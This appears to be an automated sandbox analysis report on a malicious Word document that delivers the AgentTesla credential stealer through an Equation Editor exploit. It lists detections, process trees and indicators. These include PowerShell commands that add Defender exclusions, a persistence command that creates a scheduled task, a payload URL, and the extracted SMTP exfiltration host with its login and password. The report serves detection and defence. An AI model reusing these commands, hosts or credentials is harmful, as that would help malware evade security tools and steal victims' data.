Edit tour

Windows Analysis Report
Remittance 17042024.doc

Overview

General Information

Sample name:	Remittance 17042024.doc
Analysis ID:	1427896
MD5:	3a70ce88c392ad13548a5337379ec365
SHA1:	759142b5f93e6b7821c9eb30639448fc2fd13cd4
SHA256:	45d5436e268ed053f251044846ac8f0c5c09015cc87c4ccbdc86c4efbad9e570
Tags:	doc
Infos:

Detection

AgentTesla

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Sigma detected: Scheduled temp file as task from temp location

Yara detected AgentTesla

.NET source code contains potential unpacker

.NET source code contains very large array initializations

Adds a directory exclusion to Windows Defender

Check if machine is in data center or colocation facility

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Document exploit detected (process start blacklist hit)

Drops PE files with a suspicious file extension

Injects a PE file into a foreign processes

Installs a global keyboard hook

Installs new ROOT certificates

Machine Learning detection for dropped file

Office equation editor drops PE file

Office equation editor establishes network connection

Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Sigma detected: Equation Editor Network Connection

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Sigma detected: Suspicious Microsoft Office Child Process

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Mail credentials (via file / registry access)

Uses schtasks.exe or at.exe to add and modify task schedules

Yara detected Generic Downloader

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)

Checks if the current process is being debugged

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a window with clipboard capturing capabilities

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Document contains embedded VBA macros

Document misses a certain OLE stream usually present in this Microsoft Office document type

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Office Equation Editor has been started

Potential document exploit detected (performs DNS queries)

Potential document exploit detected (performs HTTP gets)

Potential document exploit detected (unknown TCP traffic)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Powershell Defender Exclusion

Sigma detected: SCR File Write Event

Sigma detected: Suspicious Add Scheduled Task Parent

Sigma detected: Suspicious DNS Query for IP Lookup Service APIs

Sigma detected: Suspicious Outbound SMTP Connections

Sigma detected: Suspicious Schtasks From Env Var Folder

Sigma detected: Suspicious Screensaver Binary File Creation

Stores large binary data to the registry

Uses SMTP (mail sending)

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w7x64

WINWORD.EXE (PID: 3228 cmdline: "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /Automation -Embedding MD5: 9EE74859D22DAE61F1750B3A1BACB6F5)

EQNEDT32.EXE (PID: 3308 cmdline: "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding MD5: A87236E214F6D42A65F5DEDAC816AEC8)

dzoihohj75439.scr (PID: 3456 cmdline: "C:\Users\user\AppData\Roaming\dzoihohj75439.scr" MD5: 60E4F25FA64A0EF31AC57663A26DA790)

powershell.exe (PID: 3512 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\dzoihohj75439.scr" MD5: EB32C070E658937AA9FA9F3AE629B2B8)

powershell.exe (PID: 3540 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\egFUHsL.exe" MD5: EB32C070E658937AA9FA9F3AE629B2B8)

schtasks.exe (PID: 3592 cmdline: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\egFUHsL" /XML "C:\Users\user\AppData\Local\Temp\tmp871B.tmp" MD5: 2003E9B15E1C502B146DAD2E383AC1E3)

dzoihohj75439.scr (PID: 3776 cmdline: "C:\Users\user\AppData\Roaming\dzoihohj75439.scr" MD5: 60E4F25FA64A0EF31AC57663A26DA790)

dzoihohj75439.scr (PID: 3788 cmdline: "C:\Users\user\AppData\Roaming\dzoihohj75439.scr" MD5: 60E4F25FA64A0EF31AC57663A26DA790)

EQNEDT32.EXE (PID: 3584 cmdline: "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding MD5: A87236E214F6D42A65F5DEDAC816AEC8)

taskeng.exe (PID: 3800 cmdline: taskeng.exe {E15E873E-836C-4FC1-A12D-690BEBE78D2E} S-1-5-21-966771315-3019405637-367336477-1006:user-PC\user:Interactive:[1] MD5: 65EA57712340C09B1B0C427B4848AE05)

egFUHsL.exe (PID: 3884 cmdline: C:\Users\user\AppData\Roaming\egFUHsL.exe MD5: 60E4F25FA64A0EF31AC57663A26DA790)

powershell.exe (PID: 3956 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\egFUHsL.exe" MD5: EB32C070E658937AA9FA9F3AE629B2B8)

powershell.exe (PID: 3976 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\egFUHsL.exe" MD5: EB32C070E658937AA9FA9F3AE629B2B8)

schtasks.exe (PID: 4088 cmdline: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\egFUHsL" /XML "C:\Users\user\AppData\Local\Temp\tmp9A3D.tmp" MD5: 2003E9B15E1C502B146DAD2E383AC1E3)

egFUHsL.exe (PID: 312 cmdline: "C:\Users\user\AppData\Roaming\egFUHsL.exe" MD5: 60E4F25FA64A0EF31AC57663A26DA790)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Agent Tesla, AgentTesla	A .NET based information stealer readily available to actors due to leaked builders. The malware is able to log keystrokes, can access the host's clipboard and crawls the disk for credentials or other valuable information. It has the capability to send information back to its C&C via HTTP(S), SMTP, FTP, or towards a Telegram channel.	SWEED	http://blog.nsfocus.net/sweed-611/ http://l1v1ngc0d3.wordpress.com/2021/11/12/agenttesla-dropped-via-nsis-installer/ http://ropgadget.com/posts/originlogger.html http://www.secureworks.com/research/threat-profiles/gold-galleon https://asec.ahnlab.com/ko/29133/	https://malpedia.caad.fkie.fraunhofer.de/details/win.agent_tesla

Malware Configuration

Threatname: Agenttesla

{"Exfil Mode": "SMTP", "Port": "587", "Host": "smtp.fshpxm.com", "Username": "origin@fshpxm.com", "Password": "gG(YGS^4"}

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
Remittance 17042024.doc	INDICATOR_RTF_MalVer_Objects	Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents.	ditekSHen	0x1fa99:$obj2: \objdata 0x1fab3:$obj3: \objupdate 0x1fa74:$obj6: \objlink

Memory Dumps

Source	Rule	Description	Author
0000000D.00000002.718122401.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000D.00000002.718122401.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000016.00000002.718596214.0000000002351000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000016.00000002.718596214.0000000002351000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000000D.00000002.718610223.0000000002591000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000D.00000002.718610223.0000000002591000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000005.00000002.361580935.00000000033DE000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000005.00000002.361580935.00000000033DE000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: dzoihohj75439.scr PID: 3456	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: dzoihohj75439.scr PID: 3456	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: dzoihohj75439.scr PID: 3788	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: dzoihohj75439.scr PID: 3788	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: egFUHsL.exe PID: 312	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: egFUHsL.exe PID: 312	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Click to see the 9 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
5.2.dzoihohj75439.scr.3419a00.6.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
5.2.dzoihohj75439.scr.3419a00.6.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
5.2.dzoihohj75439.scr.3419a00.6.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x32393:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x32405:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x3248f:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x32521:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x3258b:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x325fd:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x32693:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x32723:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
5.2.dzoihohj75439.scr.33de1e0.7.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
5.2.dzoihohj75439.scr.33de1e0.7.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
5.2.dzoihohj75439.scr.33de1e0.7.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x32393:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x32405:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x3248f:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x32521:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x3258b:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x325fd:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x32693:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x32723:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
13.2.dzoihohj75439.scr.400000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
13.2.dzoihohj75439.scr.400000.0.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
13.2.dzoihohj75439.scr.400000.0.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
13.2.dzoihohj75439.scr.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x34193:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x34205:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x3428f:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x34321:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x3438b:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x343fd:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x34493:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x34523:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
5.2.dzoihohj75439.scr.33de1e0.7.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
5.2.dzoihohj75439.scr.33de1e0.7.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
5.2.dzoihohj75439.scr.33de1e0.7.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
5.2.dzoihohj75439.scr.33de1e0.7.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x34193:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x6f9b3:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0xaafd3:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x34205:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x6fa25:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0xab045:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x3428f:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x6faaf:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0xab0cf:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x34321:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x6fb41:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0xab161:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x3438b:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x6fbab:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0xab1cb:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x343fd:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x6fc1d:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0xab23d:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x34493:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x6fcb3:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0xab2d3:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B
5.2.dzoihohj75439.scr.3419a00.6.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
5.2.dzoihohj75439.scr.3419a00.6.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
5.2.dzoihohj75439.scr.3419a00.6.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
5.2.dzoihohj75439.scr.3419a00.6.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x34193:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x6f7b3:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x34205:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x6f825:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x3428f:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x6f8af:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x34321:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x6f941:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x3438b:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x6f9ab:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x343fd:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x6fa1d:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x34493:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x6fab3:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x34523:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548 0x6fb43:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
Click to see the 13 entries

Sigma Signatures

System Summary

Sigma detected: Equation Editor Network Connection

Source: Network Connection

Author: Max Altgelt (Nextron Systems): Data: DestinationIp: 104.21.83.128, DestinationIsIpv6: false, DestinationPort: 443, EventID: 3, Image: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, Initiated: true, ProcessId: 3308, Protocol: tcp, SourceIp: 192.168.2.22, SourceIsIpv6: false, SourcePort: 49161

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\dzoihohj75439.scr", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\dzoihohj75439.scr", CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\AppData\Roaming\dzoihohj75439.scr", ParentImage: C:\Users\user\AppData\Roaming\dzoihohj75439.scr, ParentProcessId: 3456, ParentProcessName: dzoihohj75439.scr, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\dzoihohj75439.scr", ProcessId: 3512, ProcessName: powershell.exe

Sigma detected: Suspicious Microsoft Office Child Process

Source: Process started

Author: Florian Roth (Nextron Systems), Markus Neis, FPT.EagleEye Team, Vadim Khrykov, Cyb3rEng, Michael Haag, Christopher Peacock @securepeacock, @scythe_io: Data: Command: "C:\Users\user\AppData\Roaming\dzoihohj75439.scr", CommandLine: "C:\Users\user\AppData\Roaming\dzoihohj75439.scr", CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Roaming\dzoihohj75439.scr, NewProcessName: C:\Users\user\AppData\Roaming\dzoihohj75439.scr, OriginalFileName: C:\Users\user\AppData\Roaming\dzoihohj75439.scr, ParentCommandLine: "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding, ParentImage: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, ParentProcessId: 3308, ParentProcessName: EQNEDT32.EXE, ProcessCommandLine: "C:\Users\user\AppData\Roaming\dzoihohj75439.scr", ProcessId: 3456, ProcessName: dzoihohj75439.scr

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: SCR File Write Event

Source: File created

Author: Christopher Peacock @securepeacock, SCYTHE @scythe_io: Data: EventID: 11, Image: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, ProcessId: 3308, TargetFilename: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\JBNvj66BwYU3yCv[1].scr

Sigma detected: Suspicious Add Scheduled Task Parent

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\egFUHsL" /XML "C:\Users\user\AppData\Local\Temp\tmp871B.tmp", CommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\egFUHsL" /XML "C:\Users\user\AppData\Local\Temp\tmp871B.tmp", CommandLine|base64offset|contains: *j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: "C:\Users\user\AppData\Roaming\dzoihohj75439.scr", ParentImage: C:\Users\user\AppData\Roaming\dzoihohj75439.scr, ParentProcessId: 3456, ParentProcessName: dzoihohj75439.scr, ProcessCommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\egFUHsL" /XML "C:\Users\user\AppData\Local\Temp\tmp871B.tmp", ProcessId: 3592, ProcessName: schtasks.exe

Sigma detected: Suspicious DNS Query for IP Lookup Service APIs

Source: DNS query

Author: Brandon George (blog post), Thomas Patzke: Data: Image: C:\Users\user\AppData\Roaming\dzoihohj75439.scr, QueryName: ip-api.com

Sigma detected: Suspicious Outbound SMTP Connections

Source: Network Connection

Author: frack113: Data: DestinationIp: 208.91.198.143, DestinationIsIpv6: false, DestinationPort: 587, EventID: 3, Image: C:\Users\user\AppData\Roaming\dzoihohj75439.scr, Initiated: true, ProcessId: 3788, Protocol: tcp, SourceIp: 192.168.2.22, SourceIsIpv6: false, SourcePort: 49163

Sigma detected: Suspicious Schtasks From Env Var Folder

Source: Process started

Sigma detected: Suspicious Screensaver Binary File Creation

Source: File created

Author: frack113: Data: EventID: 11, Image: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, ProcessId: 3308, TargetFilename: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\JBNvj66BwYU3yCv[1].scr

Sigma detected: Modification of IE Registry Settings

Source: Registry Key set

Author: frack113: Data: Details: 46 00 00 00 2A 00 00 00 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 00 00 00 C0 A8 02 16 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 , EventID: 13, EventType: SetValue, Image: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, ProcessId: 3308, TargetObject: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\SavedLegacySettings

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\dzoihohj75439.scr", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\dzoihohj75439.scr", CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\AppData\Roaming\dzoihohj75439.scr", ParentImage: C:\Users\user\AppData\Roaming\dzoihohj75439.scr, ParentProcessId: 3456, ParentProcessName: dzoihohj75439.scr, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\dzoihohj75439.scr", ProcessId: 3512, ProcessName: powershell.exe

Sigma detected: Office Macro File Creation

Source: File created

Author: Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE, ProcessId: 3228, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Templates\~$Normal.dotm

Sigma detected: PowerShell Script Dropped Via PowerShell.EXE

Source: File created

Author: frack113: Data: EventID: 11, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 3512, TargetFilename: C:\Users\user\AppData\Local\Temp\rstwkshw.nod.ps1

Persistence and Installation Behavior

Sigma detected: Scheduled temp file as task from temp location

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\egFUHsL" /XML "C:\Users\user\AppData\Local\Temp\tmp871B.tmp", CommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\egFUHsL" /XML "C:\Users\user\AppData\Local\Temp\tmp871B.tmp", CommandLine|base64offset|contains: *j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: "C:\Users\user\AppData\Roaming\dzoihohj75439.scr", ParentImage: C:\Users\user\AppData\Roaming\dzoihohj75439.scr, ParentProcessId: 3456, ParentProcessName: dzoihohj75439.scr, ProcessCommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\egFUHsL" /XML "C:\Users\user\AppData\Local\Temp\tmp871B.tmp", ProcessId: 3592, ProcessName: schtasks.exe

Snort Signatures

⊘No Snort rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 13.2.dzoihohj75439.scr.400000.0.unpack

Malware Configuration Extractor: Agenttesla {"Exfil Mode": "SMTP", "Port": "587", "Host": "smtp.fshpxm.com", "Username": "origin@fshpxm.com", "Password": "gG(YGS^4"}

Multi AV Scanner detection for domain / URL

Source: covid19help.top	Virustotal: Detection: 24%	Perma Link
Source: https://covid19help.top/JBNvj66BwYU3yCv.scr	Virustotal: Detection: 22%	Perma Link
Source: https://covid19help.top/	Virustotal: Detection: 23%	Perma Link

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\JBNvj66BwYU3yCv[1].scr	ReversingLabs: Detection: 70%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\JBNvj66BwYU3yCv[1].scr	Virustotal: Detection: 63%	Perma Link
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	ReversingLabs: Detection: 70%
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Virustotal: Detection: 63%	Perma Link
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	ReversingLabs: Detection: 70%
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Virustotal: Detection: 63%	Perma Link

Multi AV Scanner detection for submitted file

Source: Remittance 17042024.doc	ReversingLabs: Detection: 44%
Source: Remittance 17042024.doc	Virustotal: Detection: 45%			Perma Link

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\JBNvj66BwYU3yCv[1].scr	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Joe Sandbox ML: detected

Exploits

Office equation editor establishes network connection

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Network connect: IP: 104.21.83.128 Port: 443

Jump to behavior

Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\user\AppData\Roaming\dzoihohj75439.scr
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\user\AppData\Roaming\dzoihohj75439.scr			Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source: unknown

HTTPS traffic detected: 104.21.83.128:443 -> 192.168.2.22:49161 version: TLS 1.2

Software Vulnerabilities

Document exploit detected (process start blacklist hit)

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Source: global traffic	DNS query: name: covid19help.top
Source: global traffic	DNS query: name: ip-api.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
